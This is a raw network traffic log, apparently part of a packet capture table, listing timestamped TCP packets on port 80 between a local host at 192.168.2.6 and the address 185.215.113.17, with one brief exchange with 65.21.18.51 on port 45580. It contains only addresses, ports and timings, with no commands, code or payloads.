Sep 27, 2024 16:18:30.197859049 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197865009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197875977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197885990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197896957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197909117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197976112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197977066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197988033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197998047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198008060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198019028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198033094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198045015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198045015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198045015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198059082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198103905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198103905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198107004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198117018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198128939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198129892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198158026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198158979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198184967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198200941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198215961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198229074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198240042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198242903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198242903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198307991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198313951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198343039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198354006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198364973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198379993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198380947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198381901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198407888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198420048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198431015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198441982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198441982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198452950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198462963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198481083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198486090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198486090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198491096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198506117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198517084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198524952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198525906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198528051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198566914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198577881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198585033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198585033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198589087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198626995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198626995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198692083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198719025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198729992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198734045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198740959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198750973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198766947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198767900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198777914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198787928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198798895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198802948 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198802948 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198812008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198829889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198839903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198851109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198856115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198857069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198863029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198894024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198956013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.198956966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198968887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.198991060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199007988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199018955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199019909 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199019909 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199028969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199047089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199054956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199054956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199057102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199070930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199079037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199085951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199095964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199099064 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199107885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199117899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199122906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199130058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199141026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199150085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199152946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199173927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199192047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199199915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199207067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199218035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199228048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199238062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199245930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199245930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199249983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199260950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199273109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199282885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199284077 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199320078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199320078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199379921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199408054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199419975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199430943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199439049 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199441910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199450970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199454069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199465036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199489117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199508905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199794054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199834108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199892998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199903011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199908972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199920893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199930906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199959993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199963093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.199976921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.199990034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200026989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.200026989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.200068951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200081110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200090885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200102091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200113058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.200119019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200129986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200133085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.200139999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.200151920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.200196981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.200196981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.272540092 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:30.277354002 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:30.284022093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284092903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284105062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284132004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284132004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284143925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284157038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284163952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284168005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284179926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284192085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284192085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284216881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284220934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284229994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284240961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284252882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284260035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284264088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284290075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284301043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284305096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284311056 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284312963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284352064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284358025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284363985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284374952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284384966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.284400940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.284430027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326227903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326242924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326255083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326283932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326292038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326299906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326303005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326314926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326333046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326345921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326356888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326364040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326364040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326369047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326412916 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326412916 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326814890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326827049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326838970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326852083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326874971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326883078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326885939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326901913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326934099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326934099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326945066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326953888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326971054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326982975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.326988935 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.326992989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327003002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327007055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327016115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327023983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327059984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327059984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327127934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327137947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327147961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327158928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327166080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327169895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327179909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327189922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327202082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327203989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327214956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327225924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327235937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327239990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327239990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327294111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327857018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327868938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327879906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327909946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327909946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.327949047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327959061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327970028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.327996969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328020096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328031063 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328032017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328042984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328062057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328114986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328119040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328130007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328140020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328155994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328166008 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328166962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328176975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328180075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328187943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328223944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328223944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328226089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328238010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328248024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328260899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328269958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328283072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328284025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328291893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328301907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328311920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328313112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328313112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328336000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328358889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328828096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328840017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328850985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328869104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328890085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328902006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328917027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328924894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328924894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328927994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328963041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328973055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.328979969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.328984022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329000950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329011917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329013109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.329013109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.329022884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329047918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329055071 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.329057932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329068899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329108953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.329109907 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.329951048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329962015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329972982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329982996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.329993963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330007076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330007076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330008984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330019951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330029964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330044031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330050945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330050945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330070019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330073118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330084085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330094099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330110073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330111027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330111027 CEST	49613	80	192.168.2.6	185.215.113.17
